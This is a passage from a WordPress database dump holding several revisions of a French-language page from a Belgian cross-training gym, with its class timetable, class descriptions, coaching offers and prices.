15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:35:10', '2013-07-04 16:35:10', '', 11, 'http://www.crosstrainingcenter.be/11-revision-104/', 0, 'revision', '', 0),
(278, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 20:45:06', '2013-07-03 20:45:06', '', 11, 'http://www.crosstrainingcenter.be/?p=278', 0, 'revision', '', 0),
(279, 1, '2013-07-03 21:04:43', '2013-07-03 21:04:43', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 21:04:43', '2013-07-03 21:04:43', '', 11, 'http://www.crosstrainingcenter.be/?p=279', 0, 'revision', '', 0),
(321, 1, '2013-07-10 15:43:05', '2013-07-10 15:43:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:43:05', '2013-07-10 15:43:05', '', 11, 'http://www.crosstrainingcenter.be/11-revision-108/', 0, 'revision', '', 0);
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(280, 1, '2013-07-04 16:23:57', '2013-07-04 16:23:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr 